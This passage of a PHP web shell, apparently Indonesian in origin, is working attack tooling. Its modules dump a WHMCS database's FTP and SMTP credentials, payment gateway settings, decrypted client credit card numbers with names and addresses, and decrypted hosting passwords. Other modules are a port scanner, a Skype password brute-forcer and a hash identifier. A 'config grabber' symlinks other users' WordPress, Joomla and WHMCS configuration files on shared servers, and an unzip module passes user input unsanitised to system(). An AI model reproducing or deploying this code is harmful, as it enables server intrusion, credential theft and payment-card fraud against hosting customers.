4807<tr><th colspan='4'> <span class='b7'>O=:[ FTP BACKUP ]:=O</span> </th></tr>
4808
4809<tr>
4810<th align='center'><b>FTP HOSTNAME</b></th>
4811<th align='center'><b>FTP USERNAME</b></th>
4812<th align='center'><b>FTP PASSWORD</b></th>
4813<th align='center'><b>DESTINATION</b></th></tr>";
4814$ftpb = array('FTPBackupHostname',
4815'FTPBackupUsername',
4816'FTPBackupPassword',
4817'FTPBackupDestination');
4818if(!is_array(mysql_fetch_array($query))){
4819echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
4820}
4821while($row = mysql_fetch_array($query)){
4822if($row[setting] == $ftpb[0]){
4823echo "<tr><td>{$row[value]}</td>";
4824$ftpb[0] = xxx;
4825}
4826elseif($row[setting] == $ftpb[1]){
4827echo "<td>{$row[value]}</td>";
4828$ftpb[1] = xxx;
4829}
4830elseif($row[setting] == $ftpb[2]){
4831echo "<td>{$row[value]}</td>";
4832$ftpb[2] = xxx;
4833}
4834elseif($row[setting] == $ftpb[3]){
4835echo "<td>{$row[value]}</td>";
4836$ftpb[3] = xxx;
4837}
4838}
4839echo "</table>";
4840
4841$query = mysql_query("SELECT * FROM tblconfiguration where 1");
4842echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4843<tr><th colspan='4'><span class='b7'>O=:[ SMTP SERVER ]:=O</span> </th></tr>
4844<tr>
4845<th align='center'><b>SMTP HOST</b></th>
4846<th align='center'><b>SMTP USER</b></th>
4847<th align='center'><b>SMTP PASS</b></th>
4848<th align='center'><b>SMTP PORT</b></th></tr>";
4849
4850$smtp = array('SMTPHost',
4851'SMTPUsername',
4852'SMTPPassword',
4853'SMTPPort');
4854if(!is_array(mysql_fetch_array($query))){
4855echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
4856}
4857while($row = mysql_fetch_array($query)){
4858if($row[setting] == $smtp[0]){
4859echo "<tr><td>{$row[value]}</td>";
4860$smtp[0] = xxx;
4861}
4862elseif($row[setting] == $smtp[1]){
4863echo "<td>{$row[value]}</td>";
4864$smtp[1] = xxx;
4865}
4866elseif($row[setting] == $smtp[2]){
4867echo "<td>{$row[value]}</td>";
4868$smtp[2] = xxx;
4869}
4870elseif($row[setting] == $smtp[3]){
4871echo "<td>{$row[value]}</td>";
4872$smtp[3] = xxx;
4873}
4874}
4875echo "</table>";
4876
4877
4878$query = mysql_query("SELECT *FROM tblpaymentgateways");
4879echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4880<tr><th colspan='4'><nobr><span class='b7'>O=:[ PAYMENTS GATEWAY ]:=O</span></nobr></th></tr>
4881
4882<tr>
4883<th align='center'><b>GATEWAY</b></th>
4884<th align='center'><b>SETTING</b></th>
4885<th align='center'><b>VALUE</b></th>
4886<th align='center'><b>ORDER</b></th></tr>";
4887if(!is_array(mysql_fetch_array($query))){
4888echo "<tr><td colspan='4' align='center'>Nothing Found !</td></tr>";
4889}
4890while($v = mysql_fetch_array($query)){
4891echo "<tr>
4892<td align='center'>{$v['gateway']}</td>
4893<td align='center'>{$v['setting']}</td>
4894<td align='center'>{$v['value']}</td>
4895<td align='center'>{$v['order']}</td> </tr>" ;
4896}
4897echo "</table>";
4898
4899$query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
4900 echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4901<tr><th colspan='10'><nobr><span class='b7'>O=:[ CLIENTS CREDIT CARD ]:=O</span></nobr></th></tr>
4902<tr>
4903<th align='center'><b>CardType</b></th>
4904<th align='center'><b>CardNumb</b></th>
4905<th align='center'><b>Expdate</b></th>
4906<th align='center'><b>IssueNumber</b></th>
4907<th align='center'><b>FirstName</b></th>
4908<th align='center'><b>LastName</b></th>
4909<th align='center'><b>Address</b></th>
4910<th align='center'><b>Country</b></th>
4911<th align='center'><b>Phone</b></th>
4912<th align='center'><b>Email</b></th>
4913</tr>";
4914if(!is_array(mysql_fetch_array($query))){
4915echo "<tr><td colspan='10' align='center'>Nothing Found ! :(</td></tr>";
4916}
4917while($v = mysql_fetch_array($query)) {
4918$cchash = md5($cc_encryption_hash.$v['0']);
4919$s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
4920$v2=mysql_fetch_array($s);
4921
4922echo "<tr>
4923<td align='center'>".$v2['cardtype']."</td>
4924<td align='center'>".$v2['cardnum']."</td>
4925<td align='center'>".$v2['expdate']."</td>
4926<td align='center'>".$v2['issuenumber']."</td>
4927<td align='center'>".$v2['firstname']."</td>
4928<td align='center'>".$v2['lastname']."</td>
4929<td align='center'>".$v2['address1']."</td>
4930<td align='center'>".$v2['country']."</td>
4931<td align='center'>".$v2['phonenumber']."</td>
4932<td align='center'>".$v2['email']."</td></tr>";
4933}
4934echo "</table>";
4935
4936$query = mysql_query("SELECT *FROM tblhosting");
4937echo "<br/><br/><center>
4938<table class='explore' style=width:830px;padding:0 1px;>
4939<tr><th colspan='6'><nobr><span class='b7'>O=:[ CLIENTS HOSTING ACCOUNT ]:=O</span></nobr></th></tr>
4940<tr>
4941<th align='center'><b>DOMAIN</b></th>
4942<th align='center'><b>STATUS</b></th>
4943<th align='center'><b>USERNAME</b></th>
4944<th align='center'><b>PASSWORD</b></th>
4945<th align='center'><b>DEDICATED IP</b></th>
4946<th align='center'><b>ASSIGNED IP</b></th></tr>";
4947if(!is_array(mysql_fetch_array($query))){
4948echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
4949}
4950while($v = mysql_fetch_array($query)){
4951echo "<tr>
4952<td align='center'>{$v['domain']}</td>
4953<td align='center'>{$v['domainstatus']}</td>
4954<td align='center'>{$v['username']}</td>
4955<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
4956<td align='center'>{$v['dedicatedip']}</td>
4957<td align='center'>{$v['assignedips']}</td></tr>";
4958}
4959echo "</table>";
4960}
4961}
4962
4963
4964 # x=psan
4965elseif(isset($_GET['x']) && ($_GET['x'] == 'pscan')){ ?>
4966<form action="?azzatssins=<?php echo $pwd; ?>&x=pscan" method="post">
4967
4968<?php
4969echo '<center><br/><br/><nobr><b><span class="b7">O=:[ PORT</span> <span class="b8">SCANNER ]:=O</span></b></nobr><br/><br/>';
4970
4971$start = strip_tags($_POST['start']);
4972$end = strip_tags($_POST['end']);
4973$host = strip_tags($_POST['host']);
4974
4975if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
4976
4977for($i = $start; $i<=$end; $i++){
4978$fp = @fsockopen($host, $i, $errno, $errstr, 3);
4979if($fp){
4980
4981echo "Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font><br>";
4982}
4983flush();
4984}
4985} else {
4986echo '<input type="hidden" name="y" value="phptools">
4987
4988Host <br/>
4989<input type="text" class="inputz" name="host" value="localhost"/><br />
4990Port Start<br />
4991<input type="text" class="inputz" name="start" value="0"/><br />
4992Port End:<br />
4993<input type="text" class="inputz" name="end" value="5000"/><br />
4994<input type="submit" class="inputzbut" value="Scan Ports" />
4995</form></center>';
4996}
4997}
4998
4999// ********** x=string ********** //
5000elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){ ?>
5001<form action="?azzatssins=<?php echo $pwd; ?>&x=string" method="post">
5002
5003<br><br><form method='post'>
5004<table class="tabnet"><tbody>
5005<tr><th colspan="2"> String to Hash </th></tr>
5006<tr><td>String : </td>
5007<td><input type='text' class='inputz' name='hash_input' value='<? if(isset($_POST['hash_input'])){echo $_POST['hash_input'];}?>' /></td></tr>
5008<tr>
5009<td align="center" colspan="2"><input type='submit' name='submit_hash' style="width:100%;" class='inputzbut' value='Encode' /></td>
5010</tr>
5011</tbody>
5012</table>
5013</form>
5014<br><br>
5015
5016<?php
5017if(isset($_POST['submit_hash'])) {
5018if(isset($_POST['hash_input'])) {
5019$hash_input = $_POST['hash_input'];
5020}
5021
5022if($hash_input=="") {
5023echo 'Nothing Inserted!';
5024} else {
5025if (isset($hash_input)) {
5026echo "<table class='tabnet'><tbody>
5027<tr><th colspan='2'> Hash </th></tr>";
5028
5029foreach (hash_algos() as $hash_setoption) { $calculate_hash = hash($hash_setoption, $hash_input, false);
5030
5031echo "<tr><td width='70' align='center'><font style='color:#9F7CEB'>$hash_setoption</font></td><td><font style='color:#5BC740'>$calculate_hash</font></td></tr>";
5032}
5033echo "</tbody></table>";
5034}
5035}
5036}
5037}
5038
5039# x=cc
5040elseif(isset($_GET['x']) && ($_GET['x'] == 'cc')){ ?>
5041<form action="?azzatssins=<?php echo $pwd; ?>&x=cc" method="post">
5042
5043<?php
5044class CreditCardValidator {
5045private $arrCardInfo = array('status' => null, 'type' => null, 'substring' => null, 'reason' => null);
5046
5047private $arrCardTypes = array('amex' => array('name' => 'American Express','active' => true, 'iinrange' => '34,37','length' => 15), 'discover' => array('name' => 'Discover','active' => true,'iinrange' => '6011,622126-622925,644-649,65','length' => 16), 'mastercard' => array('name' => 'MasterCard','active' => true,'iinrange' => '51-55','length' => 16), 'visa' => array('name' => 'VISA','active' => true,'iinrange' => '4','length' => 16));
5048
5049private $arrAcceptedMII = array(3, 4, 5, 6);
5050public function Validate($strCardNumber=null, $strCardType=null) {
5051
5052if($strCardNumber === null) {
5053$this->arrCardInfo['failure'] = 'format';
5054$this->arrCardInfo['status'] = 'invalid';
5055return false;
5056}
5057
5058if(($strCardType !== null) && !in_array($strCardType, $this->arrCardTypes)) {
5059$this->arrCardInfo['failure'] = 'cardtype';
5060$this->arrCardInfo['status'] = 'invalid';
5061return false;
5062}
5063if(!$this->CheckMII($strCardNumber)) {
5064$this->arrCardInfo['failure'] = 'mii';
5065$this->arrCardInfo['status'] = 'invalid';
5066return false;
5067}
5068if(!$this->CheckIIN($strCardNumber)) {
5069$this->arrCardInfo['failure'] = 'iin';
5070$this->arrCardInfo['status'] = 'invalid';
5071return false;
5072}
5073if(!$this->CheckLuhn($strCardNumber)) {
5074$this->arrCardInfo['failure'] = 'algorithm';
5075$this->arrCardInfo['status'] = 'invalid';
5076return false;
5077}
5078$this->arrCardInfo['status'] = 'valid';
5079$this->arrCardInfo['substring'] = $this->GetCardSubstring($strCardNumber);
5080return true;
5081}
5082private function CleanCardNumber($strCardNumber=null) {
5083return preg_replace('/[^0-9]/', '', $strCardNumber);
5084}
5085
5086private function GetCardSubstring($strCardNumber=null) {
5087if(strstr($strCardNumber, '*') && (substr($strCardNumber) < 10)) return $strCardNumber;
5088$strCardNumber = $this->CleanCardNumber($strCardNumber);
5089return $strCardNumber ? '***'.substr($strCardNumber, (strlen($strCardNumber) - 4), 4) : '';
5090}
5091
5092private function CheckMII($strCardNumber=null) {
5093$strCardNumber = $this->CleanCardNumber($strCardNumber);
5094if(!$strCardNumber) return false;
5095
5096$intFirstDigit = (int) substr($strCardNumber, 0, 1);
5097if(!in_array($intFirstDigit, $this->arrAcceptedMII)) return false;
5098return true;
5099}
5100
5101private function CheckLuhn($strCardNumber=null) {
5102$strCardNumber = (string) $this->CleanCardNumber($strCardNumber);
5103$strCheckDigit = substr($strCardNumber, (strlen($strCardNumber) - 1), 1);
5104$strCardNumberReverse = strrev($strCardNumber);
5105$intTotal = 0;
5106for($i = 1; $i <= strlen($strCardNumberReverse); $i++) {
5107$intVal = (int) ($i % 2) ? $strCardNumberReverse[$i-1] : ($strCardNumberReverse[$i-1] * 2);
5108if($intVal > 9) {
5109$strVal = (string) $intVal;
5110$intVal = (int) ($strVal[0] + $strVal[1]);
5111}
5112$intTotal += $intVal;
5113}
5114return (($intTotal % 10) == 0) ? true : false;
5115}
5116
5117private function CheckIIN($strCardNumber=null) {
5118$strCardNumber = $this->CleanCardNumber($strCardNumber);
5119if(!$strCardNumber) return false;
5120$arrCardTypePossibilities = array();
5121foreach($this->arrCardTypes as $strShortName => $arrCardType) {
5122if($arrCardType['active'] === true) {
5123$strLen = strlen($strCardNumber);
5124if($strLen == $arrCardType['length']) {
5125
5126$arrRangeSets = explode(',', $arrCardType['iinrange']);
5127foreach($arrRangeSets as $strRangeSetItem) {
5128$arrStrRanges = explode('-', $strRangeSetItem);
5129if(count($arrStrRanges) > 1) {
5130for($i = $arrStrRanges[0]; $i <= $arrStrRanges[1]; $i++) {
5131
5132if((strpos((string) $strCardNumber, (string) $i) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
5133}
5134} else {
5135if((strpos((string) $strCardNumber, (string) trim($arrStrRanges[0])) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
5136}
5137}
5138}
5139}
5140}
5141$this->arrCardInfo['type'] = implode('|', $arrCardTypePossibilities);
5142return count($arrCardTypePossibilities) ? true : false;
5143}
5144
5145public function GetCardInfo() {
5146return $this->arrCardInfo;
5147}
5148
5149public function GetCardName($strCardShortName=null) {
5150return isset($this->arrCardTypes[$strCardShortName]['name']) ? $this->arrCardTypes[$strCardShortName]['name'] : '';
5151}
5152}
5153$CCV = new CreditCardValidator();
5154
5155if(isset($_POST['cardnum'])) :
5156$CCV->Validate($_POST['cardnum']);
5157$CARDINFO = $CCV->GetCardInfo();
5158endif;
5159?>
5160
5161<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
5162<html lang="en"><head>
5163<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
5164<title>Credit Card Validation - Test Page</title><style type="text/css">
5165body{ font-size: 13px; color: #333; font-family: 'georgia', 'times new roman', serif; margin: 20px; }
5166
5167fieldset{ border: 0; margin: 0; font-style: italic; }
5168
5169legend{ display: none; }
5170
5171label{ width: 100%; float: left; clear: both; font-size: 15px; font-weight: bold; color: #999; line-height: 3; }
5172
5173input, textarea{ font-size: 18px; line-height: 1.4; padding: 10px; border: 2px solid #eee; }
5174
5175textarea{ background-color: #eee; color: blue; }
5176
5177h2{ font-size: 30px; }
5178
5179#fs-input input{ width: 500px; margin-bottom: 15px; }
5180#fs-input input.cb{ width: auto; }
5181#fs-submit input{ background-color: #333; color: lightyellow; }
5182</style>
5183</head>
5184
5185<body><h2>Credit Card Tester</h2>
5186<form action="" method="post">
5187<fieldset id="fs-input"><legend></legend>
5188<label>Card Number</label>
5189<input type="text" style="color:#FF0000;background-color:#000000" name="cardnum" value="<?php echo @$_POST['cardnum']; ?>"><br>
5190<input type="checkbox" name="showgeek" class="cb" value="1"<?php if(isset($_POST['showgeek'])) echo ' checked'; ?>> Show Geeky Output
5191</fieldset>
5192<fieldset id="fs-submit">
5193<legend></legend>
5194<label></label>
5195<input type="submit" value="Check CC">
5196</fieldset>
5197<?php if(isset($_POST['cardnum'])) : ?>
5198<hr>
5199
5200<h2>Result</h2><fieldset id="fs-result">
5201<legend></legend><label></label>
5202<strong>Status:</strong> <?php echo strtoupper($CARDINFO['status']); ?><br>
5203<strong>Card Type: </strong> <?php echo $CCV->GetCardName($CARDINFO['type']); ?>
5204</fieldset>
5205<?php endif; ?>
5206<?php if(isset($_POST['showgeek'])) : ?>
5207<fieldset id="fs-geek-result">
5208<legend></legend>
5209<label>Geeky Result</label>
5210<textarea style="color:#FF0000;background-color:#000000" rows="40" cols="80"><?php print_r($CCV); ?></textarea>
5211</fieldset>
5212<?php endif; ?>
5213</form></body></html>
5214
5215<?php }
5216# x=unzip
5217elseif(isset($_GET['x']) && ($_GET['x'] == 'unzip')){
5218?>
5219<form action="?azzatssins=<?php echo $pwd; ?>&x=unzip" method="post">
5220<center><br/><br/><nobr><span class="b7">O=:[ ZIP FILE</span> <span class="b8">EXTRACTOR ]:=O</nobr><br/><br/>
5221<?php
5222$file = $_POST['file'];
5223if (isset($file)){
5224echo "<nobr><b>[+] PROSES BONGKAR [+]</b><br><br></nobr>";
5225system('unzip -o ' . $file);
5226echo "<br/>";
5227exit;
5228}
5229
5230$handler = opendir(".");
5231echo "<center><b>Pilih File Yg Mau Di Unzip :<b><br> " . "<br>";
5232echo '<form action="" method="get">';
5233$found = false;
5234while ($file = readdir($handler)) {
5235if (preg_match ("/.zip$/i", $file)) {
5236echo '<input type="radio" name="file" value=' . $file . '> ' . $file . '<br>';
5237$found = true;
5238}
5239}
5240closedir($handler);
5241if ($found == false)
5242echo "<br><br><b>[+] GA ADA FILE EXTENSI ZIP [+]<b><br>";
5243else
5244echo '<br><br><inpuy type="submit" value="Unzip File">';
5245echo "</form>";
5246?>
5247
5248<?php }
5249# x=analyzer
5250elseif(isset($_GET['x']) && ($_GET['x'] == 'analyzer')){
5251?>
5252<form action="?azzatssins=<?php echo $pwd; ?>&x=analyzer" method="post">
5253
5254<center><br/><br/><nobr><span class="b7">O=:[ HASH TYPE</span> <span class="b8">ANALYZER ]:=O</nobr><br/><br/> <form method=POST>
5255<input type="text" style="color:#FF0000;background-color:#000000" name="hashToAnalyze" size=60><input type="submit" style="color:#FF0000;background-color:#000000" value="Check Hash Now" name="analyzieNow"></form></center>
5256<?php
5257if($_POST['analyzieNow']){
5258$hash = $_POST['hashToAnalyze'];
5259$subHash = substr($hash,0,3);
5260if($subHash =='$ap' && strlen($hash) == 37){
5261echo "The Hash : ".$hash." is : MD5(APR) Hash";
5262}
5263else if($subHash =='$1$' && strlen($hash) == 34){
5264echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
5265}
5266else if($subHash =='$H$' && strlen($hash) == 35){
5267echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
5268}
5269else if(strlen($hash) == 29){
5270echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
5271}
5272else if($subHash =='$5$' && strlen($hash) == 64){
5273echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
5274}
5275else if($subHash =='$6$' && strlen($hash) == 128){
5276echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
5277}
5278else if(strlen($hash) == 56){
5279echo "The Hash : ".$hash." is : SHA224 Hash";
5280}
5281else if(strlen($hash) == 64){
5282echo "The Hash : ".$hash." is : SHA256 Hash";
5283}
5284else if(strlen($hash) == 96){
5285echo "The Hash : ".$hash." is : SHA384 Hash";
5286}
5287else if(strlen($hash) == 128){
5288echo "The Hash : ".$hash." is : SHA512 Hash";
5289}
5290else if(strlen($hash) == 40){
5291echo "The Hash : ".$hash." is : MySQL v5.x Hash";
5292}
5293else if(strlen($hash) == 16){
5294echo "The Hash : ".$hash." is : MySQL Hash";
5295}
5296else if(strlen($hash) == 13){
5297echo "The Hash : ".$hash." is : DES(Unix) Hash";
5298}
5299else if(strlen($hash) == 32){
5300echo "The Hash : ".$hash." is : MD5 Hash";
5301}
5302else if(strlen($hash) == 4){
5303echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
5304else {
5305echo "Error : Can't Detect Hash Type";
5306}
5307}
5308?>
5309
5310
5311<?php }
5312# x=skype
5313elseif(isset($_GET['x']) && ($_GET['x'] == 'skype')){
5314?>
5315<form action="?azzatssins=<?php echo $pwd; ?>&x=skype" method="post">
5316<br/><br/><form method='POST'>
5317
5318<center><br/><br/>
5319<img src='http://www.in-travel.info/easter2013/wp-content/uploads/2012/12/Skype-Logo-300x133.png'><br/><br/><nobr><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>SKYPE ACCOUNT ]:=O</span></nobr><br/><br/>
5320<nobr>Username : <input style='color:#FF0000;background-color:#000000' type='text' name='skypename' placeholder='Skype Name' size='38'><br>
5321<textarea style='color:#FF0000;background-color:#000000' rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br><br>
5322<input style='color:#FF0000;background-color:#000000' type='submit' value='Start BruteForce' name='brute'><br>
5323</center>
5324</form>
5325<?php
5326@set_time_limit(0);
5327$skype = "https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
5328# Username & Password
5329$username = $_POST['skypename'];
5330$password = explode("\r\n", $_POST['passwords']);
5331
5332$time = date_default_timezone_set("Asia/Jakarta");
5333$date = date('H:i:s');
5334$header = "HTTP/1.1 302";
5335function xsecurity($skype){
5336$ch = curl_init();
5337curl_setopt($ch, CURLOPT_URL, $skype);
5338curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
5339curl_setopt($ch, CURLOPT_HEADER, 1);
5340curl_setopt($ch, CURLOPT_POST, 1);
5341curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
5342curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
5343curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5344$run = curl_exec($ch);
5345preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash);
5346preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie);
5347preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm);
5348return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];}
5349
5350$xsec = explode("|:|" ,xsecurity($skype));
5351$token = $xsec[0];
5352$pie = $xsec[1];
5353$etm = $xsec[2];
5354
5355function brute($skype,$username,$pass,$header){
5356$ch = curl_init();
5357curl_setopt($ch, CURLOPT_URL, $skype);
5358curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
5359curl_setopt($ch, CURLOPT_HEADER, 1);
5360curl_setopt($ch, CURLOPT_POST, 1);
5361curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
5362curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
5363curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
5364curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5365$brute = curl_exec($ch);
5366if(strstr($brute, $header)){
5367echo "<br><br><nobr><center><span class='b11'>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></span></center>";
5368}
5369return $brute;
5370}
5371if($_POST['brute']){
5372foreach($password as $pass)
5373{
5374brute($skype,$username,$pass,$header);
5375}
5376}
5377?>
5378
5379<?php }
5380# x=grabber
5381elseif(isset($_GET['x']) && ($_GET['x'] == 'grabber')){
5382?>
5383<form action="?azzatssins=<?php echo $pwd; ?>&x=grabber" method="post">
5384
5385<center><br/><br/><nobr><span class="b7">O=:[ CONFIG</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/><form method="POST">
5386<textarea style="color:#FF0000;background-color:#000000"cols="50" rows="20" name="passwd" ></textarea><br/><br/>
5387<input name="cat" size="80" style="color:#FF0000;background-color:#000000" value="START GRAB CONFIG" type="submit"><br/></form>
5388
5389<?php
5390@error_reporting(0);
5391@set_time_limit(0);
5392if($_POST["cat"] && !$_POST["passwd"]==""){
5393echo "Checking Functions ...<br>";
5394$functions=@ini_get("disable_functions");
5395if(eregi("symlink",$functions)){
5396die("<center><br/><br/><nobr><span class='b9'>DISABLE FUNCTIONS IS ON</span></nobr><br/><br/></center>");
5397}
5398@mkdir("dm_grab", 0755);
5399@chdir("dm_grab");
5400$htaccess="
5401Options all
5402Options +Indexes
5403Options +FollowSymLinks
5404DirectoryIndex Sux.html
5405AddType text/plain .php
5406AddHandler server-parsed .php
5407AddType text/plain .html
5408AddHandler txt .html
5409Require None
5410Satisfy Any";
5411file_put_contents(".htaccess",$htaccess,FILE_APPEND);
5412$passwd=$_POST["passwd"];
5413$passwd=explode("\n",$passwd);
5414echo "Start Symlinking ...<br>";
5415foreach($passwd as $pwd){
5416$pawd=explode(":",$pwd);
5417$user =$pawd[0];
5418// Now symlink Them
5419@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
5420@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
5421@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
5422@symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
5423@symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
5424@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
5425@symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
5426@symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
5427@symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
5428@symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
5429@symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
5430@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
5431@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
5432@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
5433@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
5434@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
5435@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
5436@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
5437@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
5438@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
5439@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
5440@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
5441@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
5442@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
5443@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
5444@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
5445@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
5446@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
5447@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
5448@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
5449@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
5450@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
5451@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
5452@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
5453@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
5454@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
5455@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
5456@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
5457@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
5458@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
5459@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
5460@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
5461@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
5462@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
5463@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
5464@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
5465@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
5466@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
5467@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
5468@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
5469@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
5470@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
5471@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
5472@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
5473@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
5474@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
5475@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
5476@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
5477@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
5478@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
5479@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
5480@symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
5481@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
